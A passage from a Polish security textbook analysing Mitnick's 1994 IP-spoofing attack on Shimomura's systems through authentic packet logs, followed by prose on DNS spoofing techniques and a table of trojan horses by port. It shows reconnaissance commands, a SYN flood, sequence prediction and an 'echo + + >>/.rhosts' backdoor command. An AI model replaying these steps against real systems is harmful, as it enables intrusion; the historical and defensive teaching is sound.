Najsłynniejszym chyba przypadkiem podrabiania IP jest zdalny atak Kevina Mitnicka (superhakera o nienajlepszej sławie) na systemy Tsutomu Shimomury (znanego guru zabezpieczeń). Przeanalizujemy ten przypadek, korzystając z autentycznych dzienników komunikacji TCP, przedstawionych przez Shimomurę w trakcie prezentacji na konferencji Computer Misuse and Anomaly Detection (CMAD) 3 w Sonomie, stan Kalifornia, 10 - 12 stycznia 1995.

Jak mówił Tsutomu, do uzyskania dostępu jako stacja zaufana, wykorzystane zostały dwie wymienione wcześniej techniki: fałszowanie pola źródłowego adresu IP i przewidywanie odpowiedzi TCP. Bezpośrednio zaatakowany został bezdyskowy X-terminal SPARCstation, pracujący pod kontrolą systemu Solaris 1. Został on wykorzystany do przechwytywania komunikacji wewnętrznej za pomocą ładowalnego modułu jądra STREAMS.

Jak wynika z przedstawionych dzienników, atak rozpoczęły „podejrzane” testy, inicjowane z uprzywilejowanego konta root pod adresem toad.com (pamiętajmy, że celem atakującego jest zlokalizowanie celu pośredniego, objętego pewnymi relacjami zaufania w sieci). Jak wykazywał Tsutomu, zarejestrowane wywołania usług są oczywistym dowodem poszukiwania przez Mitnicka nadającej się do wykorzystania relacji zaufania (target to główny cel ataku, x-terminal — bezdyskowa stacja SPARCstation pod kontrolą systemu Solaris 1, a server — serwer SPARCstation, z którego usług korzysta x-terminal):

14:09:32 toad.com# finger -l @target

14:10:21 toad.com# finger -l @server

14:10:50 toad.com# finger -l root@server

14:11:07 toad.com# finger -l @x-terminal

14:11:38 toad.com# showmount -e x-terminal

14:11:49 toad.com# rpcinfo -p. x-terminal

14:12:05 toad.com# finger -l root@x-terminal

Jak pisaliśmy we wcześniejszych rozdziałach, użycie polecenia finger konto (z opcją -l, aby zapewnić wyświetlanie wszystkich danych) dostarcza istotnych informacji o wskazanym koncie użytkownika. Choć ich zakres różni się w zależności od stosowanego demona i konfiguracji konta. Wiele systemów informuje o tym, czy dany użytkownik jest zalogowany. Niektóre systemy ujawniają pełne imię i nazwisko, adres i (lub) numer telefonu. Proces komunikacji protokołu Finger jest dość prosty. Klient wysyła do portu sygnał active open i jednowierszowe zapytanie z danymi logowania. Serwer przetwarza zapytania, generuje odpowiedź i zamyka połączenie. Dane zwracane przez port 79 uznaje się za bardzo niebezpieczne — dostarczają one szczegółowych informacji o użytkownikach.

Kolejnym, widocznym w przedstawionym dzienniku, poleceniem jest showmount (z opcją -e). Służy ono przede wszystkim do wyświetlania listy eksportowanych systemów plików serwera NFS. Działa również przez sieć, podając dokładne informacje o tym, co ma do zaoferowania klient NFS. Z kolei polecenie rpcinfo (z opcją -p) to zapytanie portmap. Demon portmap przekształca numery programów RPC na numery portów. Swoją obecność rejestruje w danych demona każdy uruchamiany serwer RPC. Podawana jest wówczas informacja o tym, na którym porcie serwer prowadzi nasłuch i jakie numery programów RPC obsługuje. Umożliwia to demonowi zlokalizowanie każdego zarejestrowanego portu stacji i powiązanie go z numerem dostępnego programu.

Następnym krokiem jest atak TCP SYN, skierowany do portu 513, z serwera o fikcyjnym adresie 130.92.6.97. Jest to port „uprzywilejowany”, wykorzystywany przez usługę login. Przypomnijmy sobie teraz proces trójstopniowej wymiany potwierdzeń SYN-ACK (three-way handshake), omawiany w rozdziale 1: komunikacja TCP inicjowana jest przesłaniem do stacji docelowej żądania połączenia, pakietu SYN. W tym przypadku źródłowy adres IP to adres innego komputera lub adres niewykorzystywany w Internecie (może być dowolny). Atak polega na wysłaniu dużej ilości pakietów TCP SYN, wiążących zasoby systemu docelowego. Po otrzymaniu żądania połączenia serwer docelowy alokuje zasoby niezbędne do obsługi i śledzenia nowej sesji komunikacyjnej, po czym wysyła odpowiedź — pakiet SYN-ACK. Odpowiedzi takie trafiają na adres sfałszowany lub nieistniejący i dalsza wymiana danych nie następuje. Czas oczekiwania po wysłaniu pakietu SYN-ACK jest jednak na tyle długi, że wielokrotne alokowanie zasobów do obsługi tego typu żądań łatwo doprowadza do przekroczenia limitu liczby połączeń (które wyłącza serwer z pracy w sieci):

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096

14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096

14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096

14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096

14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096

14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096

14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096

14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096

14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096

14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096

14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096

14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096

14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096

14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096

14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096

14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096

14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096

14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096

14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096

14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096

14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096

14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096

14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096

14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096

14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

Tsutomu rozpoznał następnie 20 prób połączenia z apollo.it.luc.edu do X-terminal.shell i wykazał, że służyły one do badania obsługi numerów sekwencyjnych TCP przez X-terminal. Aby uniknąć przepełnienia kolejki połączeń X-terminala, początkowe numery sekwencyjne były przy każdym połączeniu zwiększane o 1. Sygnalizuje to, że implementacja TCP systemu nie generuje pakietów SYN. Zwróćmy uwagę na analogiczną inkrementację numerów pakietów SYN-ACK X-terminala (ale o 128 000):

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S
* 1382726990:1382726990(0) win 4096

14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S
* 2021824000:2021824000(0) ack 1382726991 win 4096

14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R
* 1382726991:1382726991(0) win 0

14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S
* 1382726991:1382726991(0) win 4096

14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S
* 2021952000:2021952000(0) ack 1382726992 win 4096

14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R
* 1382726992:1382726992(0) win 0

14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R
* 1382726992:1382726992(0) win 0

14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S
* 1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S
* 2022080000:2022080000(0) ack 1382726993 win 4096

14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R
* 1382726993:1382726993(0) win 0

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S
* 1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S
* 2022208000:2022208000(0) ack 1382726994 win 4096

14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R
* 1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S
* 1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S
* 2022336000:2022336000(0) ack 1382726995 win 4096

14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R
* 1382726995:1382726995(0) win 0

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S
* 1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S
* 2022464000:2022464000(0) ack 1382726996 win 4096

14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R
* 1382726996:1382726996(0) win 0

14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S
* 1382726996:1382726996(0) win 4096

14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S
* 2022592000:2022592000(0) ack 1382726997 win 4096

14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R
* 1382726997:1382726997(0) win 0

14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R
* 1382726997:1382726997(0) win 0

14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S
* 1382726997:1382726997(0) win 4096

14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S
* 2022720000:2022720000(0) ack 1382726998 win 4096

14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R
* 1382726998:1382726998(0) win 0

14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S
* 1382726998:1382726998(0) win 4096

14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S
* 2022848000:2022848000(0) ack 1382726999 win 4096

14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R
* 1382726999:1382726999(0) win 0

14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S
* 1382726999:1382726999(0) win 4096

14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S
* 2022976000:2022976000(0) ack 1382727000 win 4096

14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R
* 1382727000:1382727000(0) win 0

14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S
* 1382727000:1382727000(0) win 4096

14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S
* 2023104000:2023104000(0) ack 1382727001 win 4096

14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R
* 1382727001:1382727001(0) win 0

14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S
* 1382727001:1382727001(0) win 4096

14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S
* 2023232000:2023232000(0) ack 1382727002 win 4096

14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R
* 1382727002:1382727002(0) win 0

14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S
* 1382727002:1382727002(0) win 4096

14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S
* 2023360000:2023360000(0) ack 1382727003 win 4096

14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R
* 1382727003:1382727003(0) win 0

14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S
* 1382727003:1382727003(0) win 4096

14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S
* 2023488000:2023488000(0) ack 1382727004 win 4096

14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R
* 1382727004:1382727004(0) win 0

14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S
* 1382727004:1382727004(0) win 4096

14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S
* 2023616000:2023616000(0) ack 1382727005 win 4096

14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R
* 1382727005:1382727005(0) win 0

14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S
* 1382727005:1382727005(0) win 4096

14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S
* 2023744000:2023744000(0) ack 1382727006 win 4096

14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R
* 1382727006:1382727006(0) win 0

14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S
* 1382727006:1382727006(0) win 4096

14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S
* 2023872000:2023872000(0) ack 1382727007 win 4096

14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R
* 1382727007:1382727007(0) win 0

14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S
* 1382727007:1382727007(0) win 4096

14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S
* 2024000000:2024000000(0) ack 1382727008 win 4096

14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R
* 1382727008:1382727008(0) win 0

14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S
* 1382727008:1382727008(0) win 4096

14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S
* 2024128000:2024128000(0) ack 1382727009 win 4096

14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R
* 1382727009:1382727009(0) win 0

14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S
* 1382727009:1382727009(0) win 4096

14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S
* 2024256000:2024256000(0) ack 1382727010 win 4096

14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R
* 1382727010:1382727010(0) win 0

Teraz w dzienniku pojawiają się, kierowane do X-terminala, połączenia ze stacji zamaskowanej jako server. Określenie ich poprawnych numerów sekwencyjnych opiera się na przeprowadzonym wcześniej badaniu. Mitnick uzyskał więc możliwość jednostronnej komunikacji z x-terminal.shell, maskując się jako server.login:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096

14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096

14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096

14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096

14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096

14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096

14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

„Półotwarte” połączenia zostają teraz zamknięte, aby zwolnić kolejkę server.login i umożliwić dalsze funkcjonowanie serwera:

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096

14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096

14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096

14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096

14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096

14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096

14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096

14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096

14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096

14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096

14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096

14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096

14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096

14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096

14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096

14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096

14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096

14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096

14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096

14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096

14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096

14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096

14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096

14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096

14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096

14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096

14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096

14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096

14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

Podrobienie IP umożliwiło Mitnickowi uzyskanie dostępu na poziomie root i skompilowanie modułu jądra (kernela) STREAMS tap-2.01, którego zadaniem było przejęcie kontroli nad urządzeniem tty.

W typowym przypadku po włamaniu do systemu haker kompiluje tylne wejście, które umożliwi kolejne włamania i przejmowanie kontroli nad systemem. Teoretycznie funkcję taką pełnić może fałszowanie adresu IP — wykorzystywane usługi opierają uwierzytelnienie wyłącznie na adresie sieciowym. Spośród dostępnego oprogramowania do obsługi tego rodzaju funkcji wymienić należy Command IP Spoofer, IP Spoofer (patrz rysunek 7.18) i Domain WinSpoof dla systemu PC-DOS oraz Erect dla systemów UNIX.

Rysunek 7.18. Windows IP Spoofer

Wiele wysiłku włożono ostatnio w badanie przypadków podszywania się pod usługę DNS. Zastąpienie buforującego serwera DNS umożliwia hakerowi łączenie użytkowników z inną lokalizacją niż zamierzona. Przypomnijmy, nazwa domenowa to znakowy odpowiednik jednego lub większej liczby adresów IP. Serwer DNS zamienia te nazwy na odpowiednie adresy stacji (jedynym celem istnienia DNS jest zastąpienie liczb nazwami i odwrotnie). Przesyłane przez Internet datagramy korzystają z adresów. Zawsze więc, gdy wykorzystywana jest nazwa domeny, demon usługi DNS zapewnić musi jej odwzorowanie do adresu. Typowym przykładem jest wpisanie nazwy w przeglądarce WWW — serwer DNS mapuje nazwę do adresu i dopiero wówczas nawiązywane jest połączenie z właściwą witryną.

Korzystając z tej postaci podszywania się, haker wymusza na podrzędnym serwerze DNS przesłanie pewnego żądania do serwera nadrzędnego, po czym podrabia odpowiedź. Mechanizm taki może funkcjonować dzięki stosowaniu przez większość demonów DNS zapytań „rekurencyjnych”. Umożliwiają one wysłanie żądania do dowolnego serwera DNS w sieci. W celu jego zrealizowania serwer wysyła odpowiednie zapytania do pewnych, trwale określonych serwerów centralnych. Haker wykorzystuje wówczas możliwość przewidzenia, jakie żądanie będzie przesyłane, i podsuwa przygotowaną odpowiedź. W trakcie dobrze przygotowanego ataku odpowiedź hakera odebrana zostaje przed odpowiedzią właściwego serwera. Dalej z pomocą przychodzi mechanizm buforowania uzyskanych danych przez określoną liczbę godzin. Udana modyfikacja wpisu takiej nazwy jak na przykład www.yahoo.com kierować będzie licznych użytkowników zmodyfikowanej usługi DNS do witryny wskazanej przez włamywacza.

Johannes Erdfelt, specjalista w dziedzinie zabezpieczeń i zapalony haker, wyróżnił trzy konwencjonalne techniki fałszowania DNS.

• Technika 1. Umieszczanie w buforze DNS danych niezwiązanych z zapytaniem. Jest to pierwotna i najbardziej rozpowszechniona forma ataku, przeprowadzanego głównie w odniesieniu do serwerów IRC. Haker uruchamia własny serwer DNS i dąży do uzyskania delegacji domeny ofiary. Do oszukiwanego serwera DNS wysyłane jest zapytanie o tę domenę. Zapytanie trafia między innymi do serwera podstawionego, który przesyła odpowiedź, umieszczając dowolne dane w sekcjach Answer, Authority i Additional.

• Technika 2. Umieszczanie w buforze DNS danych związanych z zapytaniem. Haker działa podobnie jak przy stosowaniu techniki pierwszej, modyfikując jednak zwracane dane tak, aby zachowały one pewien związek z odebranym zapytaniem (na przykład gdy zapytanie dotyczy my.antispoof. site.com, zwracany jest rekord MX, CNAME lub NS dotyczący tego właśnie adresu).

• Technika 3. Przewidywanie identyfikatora DNS. Każdy pakiet DNS ma 16-bitowy numer identyfikacyjny, wykorzystywany do rozpoznawania jego powiązania z zapytaniem pierwotnym. W przypadku najsłynniejszego demona DNS, BIND, wartość ID zwiększana jest z każdym zapytaniem o 1. Ułatwia to atak predykcyjny, który musi być szybki — odpowiedź hakera nie może zostać wyprzedzona przez odpowiedź właściwego serwera DNS.

Konie trojańskie

Konie trojańskie to szkodliwe, tworzące luki w zabezpieczeniach, programy, które rozpowszechnia się najczęściej jako oprogramowanie „podarowane” użytkownikowi komputera — program narzędziowy, żart czy wersja demonstracyjna gry. Jak pisaliśmy we wcześniejszych rozdziałach, mechanizm konia trojańskiego wykorzystuje się często do zainstalowania „tylnego wejścia” do systemu. Rosnąca obecnie liczba „zarażeń” tego rodzaju jest wynikiem prostej, technologicznej konieczności korzystania z portów. Tabela 7.1 przedstawia listę najistotniejszych koni trojańskich i wykorzystywanych przez nie portów systemu. Usługi na portach o niższych numerach służą często do przechwytywania haseł, które są następnie przesyłane hakerowi pocztą elektroniczną lub udostępniane w katalogach FTP. Porty dalsze obsługują przede wszystkim programy zdalnego dostępu, umożliwiające komunikację z komputerem przez Internet, sieć, kanał VPN lub połączenie telefoniczne.

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty

Port	Nazwa konia trojańskiego
21	Back Construction, Blade Runner, Doly Trojan, Fore, FTP Trojan, Invisible FTP, Larva, WebEx, WinCrash, lamer_FTP,
25	Ajan, Antigen, Email Password Sender, Haebu Coceda (= Naebi), Happy 99, Kuang2, ProMail Trojan, Shtrilitz, lamer_SMTP, Stealth, Tapiras, Terminator, WinPC, WinSpy,
31	Agent 31, Hakers Paradise, Masters Paradise,
41	DeepThroat 1.0 - 3.1 + Mod (Foreplay),
48	DRAT v. 1.0 - 3.0b,
50	DRAT,
59	DMSetup,
79	Firehotker,
80	Executor, RingZero,
99	Hidden Port,
110	ProMail Trojan,
113	Kazimas,
119	Happy 99,
121	JammerKillah,
137	NetBIOS Name (atak DoS),
138	NetBIOS Datagram (atak DoS),
139 (TCP)	sesja NetBIOS (atak DoS),
139 (UDP)	sesja NetBIOS (atak DoS),
146 (TCP)	Infector 1.3,
421	TCP Wrappers,
456	Hakers Paradise,
531	Rasmin,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
555 (UDP)	Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy,
555 (TCP)	Phase Zero,
666 (UDP)	Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU, Shadow Phyre,
911	Dark Shadow,
999	DeepThroat, WinSatan,
1001 (UDP)	Silencer, WebEx,
1010	Doly Trojan 1.1 - 1.7 (SE),
1011	Doly Trojan,
1012	Doly Trojan,
1015	Doly Trojan,
1024	NetSpy 1.0 - 2.0,
1042 (TCP)	Bla 1.0 - 2.0,
1045 (TCP)	Rasmin,
1090 (TCP)	Xtreme,
1170 (TCP)	Psyber Stream Server, Streaming Audio Trojan, Voice,
1234 (UDP)	Ultors Trojan,
1243 (TCP)	BackDoor-G, SubSeven, SubSeven Apocalypse,
1245 (UDP)	VooDoo Doll,
1269 (TCP)	Mavericks Matrix,
1349 (UDP)	BO DLL,
1492 (TCP)	FTP99CMP,
1509 (TCP)	Psyber Streaming Server,
1600 (TCP)	Shivka-Burka,
1807 (UDP)	SpySender,
1981 (TCP)	Shockrave,
1999	BackDoor 2.00 - 2.03,
1999 (TCP)	TransScout,
2000	TransScout,
2001	TransScout Transmission Scout v. 1.1 - 1.2, Der Spaeher v. 3.0,
2001 (TCP)	Trojan Cow 1.0,
2002	TransScout,
2003	TransScout,
2004	TransScout,
2005	TransScout,
2023 (TCP)	Ripper,
2086 (TCP)	Luka Netscape/Corba,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
2115	Bugs,
2140 (UDP)	Deep Throat v. 1.3 server, Deep Throat 1.3 KeyLogger,
2140 (TCP)	The Invasor, Deep Throat v. 2.0,
2155 (TCP)	Illusion Mailer,
2283 (TCP)	HVL Rat 5.30,
2400	PortD,
2565 (TCP)	Striker,
2567 (TCP)	Lamer Killer,
2568 (TCP)	Lamer Killer,
2569 (TCP)	Lamer Killer,
2583	WinCrash2,
2600	Digital RootBeer,
2801 (TCP)	Phineas Phucker,
2989 (UDP)	RAT,
3024 (UDP)	WinCrash 1.03,
3128	RingZero,
3129	Masters Paradise 9.x,
3150 (UDP)	Deep Throat, The Invasor,
3459	Eclipse 2000,
3700 (UDP)	Portal of Doom,
3791 (TCP)	Total Eclypse,
3801 (UDP)	Eclypse 1.0,
4092 (UDP)	WinCrash-alt,
4321	BoBo 1.0 - 2.0,
4567 (TCP)	File Nail,
4590 (TCP)	ICQTrojan,
5000 (UDP)	Bubbel, Back Door Setup, Sockets deTroie/socket23,
5001 (UDP)	Back Door Setup, Sockets de Troie/socket23,
5011 (TCP)	One of the Last Trojans (OOTLT),
5031 (TCP)	NetMetropolitan,
5321 (UDP)	Firehotker,
5400 (UDP)	Blade Runner, Back Construction,
5401 (UDP)	Blade Runner, Back Construction,
5402 (UDP)	Blade Runner, Back Construction,
5521 (TCP)	Illusion Mailer,
5550 (TCP)	Xtcp 2.0 - 2.1,
5550 (TCP)	X-TCP Trojan,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
5555 (TCP)	ServeMe,
5556 (TCP)	BO Facil,
5557 (TCP)	BO Facil,
5569 (TCP)	Robo-Hack,
5571 (TCP)	Lamer — odmiana,
5742 (UDP)	WinCrash,
6400 (TCP)	The Thing,
6669 (TCP)	Vampyre 1.0 - 1.2,
6670 (TCP)	DeepThroat,
6683 (UDP)	DeltaSource v. 0.5 - 0.7,
6771 (TCP)	DeepThroat,
6776 (TCP)	BackDoor-G, SubSeven,
6838 (UDP)	Mstream (atakuje program obsługi),
6912	Shit Heep,
6939 (TCP)	Indoctrination 0.1 - 0.11,
6969	GateCrasher, Priority, IRC 3,
6970	GateCrasher 1.0 - 1.2,
7000 (UDP)	Remote Grab, Kazimas,
7300 (UDP)	NetMonitor,
7301 (UDP)	NetMonitor,
7302 (UDP)	NetMonitor,
7303 (UDP)	NetMonitor,
7304 (UDP)	NetMonitor,
7305 (UDP)	NetMonitor,
7306 (UDP)	NetMonitor,
7307 (UDP)	NetMonitor,
7308 (UDP)	NetMonitor,
7789 (UDP)	Back Door Setup, ICKiller,
8080	RingZero,
8989	Recon, recon2, xcon,
9090	Tst2, serwer Telnet,
9400	InCommand 1.0 - 1.4,
9872 (TCP)	Portal of Doom,
9873	Portal of Doom,
9874	Portal of Doom,
9875	Portal of Doom,
9876	Cyber Attacker,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
9878	TransScout,
9989 (TCP)	iNi-Killer 2.0 - 3.0,
9999 (TCP)	theprayer1,
10067 (UDP)	Portal of Doom,
10101	BrainSpy Vbeta,
10167 (UDP)	Portal of Doom,
10520	Acid Shivers + LMacid,
10607 (TCP)	Coma 1.09,
10666 (TCP)	Ambush,
11000 (TCP)	Senna Spy,
11223 (TCP)	Progenic 1.0 - 1.3,
12076 (TCP)	Gjammer,
12223 (UDP)	Hack 99 KeyLogger,
12223 (TDP)	Hack 99,
12345 (UDP)	GabanBus, NetBus, X-bill, Pie Bill Gates,
12346 (TCP)	GabanBus, NetBus, X-bill,
12361 (TCP)	Whack-a-mole,
12362 (TCP)	Whack-a-mole,
12631	WhackJob,
13000	Senna Spy Lamer,
16660 (TCP)	stacheldraht,
16969 (TCP)	Priority (Beta),
17300 (TCP)	Kuang2 The Virus,
20000 (UDP)	Millennium 1.0 - 2.0,
20001 (UDP)	Millennium,
20034 (TCP)	NetBus 2 Pro,
20203 (TCP)	Logged, chupacabra,
21544 (TCP)	GirlFriend 1.3x (razem z Patch 1 i 2),
22222 (TCP)	Prosiak,
23456 (TCP)	Evil FTP, Ugly FTP, Whack Job,
23476	Donald Dick 1.52 - 1.55,
23477	Donald Dick,
26274 (UDP)	Delta Source,
27444 (UDP)	trinoo,
27665 (TCP)	trinoo,
29891 (UDP)	The Unexplained,
30029	AOL Trojan,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
30100 (TCP)	NetSphere 1.0 - 1.31337,
30101 (TCP)	NetSphere,
30102 (TCP)	NetSphere,
30133 (TCP)	NetSphere — końcowy,
30303	Sockets de Troie = socket23,
30999 (TCP)	Kuang2,
31335 (UDP)	trinoo,
31336	Bo Whack,
31337 (TCP)	Baron Night, BO client, BO2, Bo Facil,
31337 (UDP)	BackFire, Back Orifice, DeepBO,
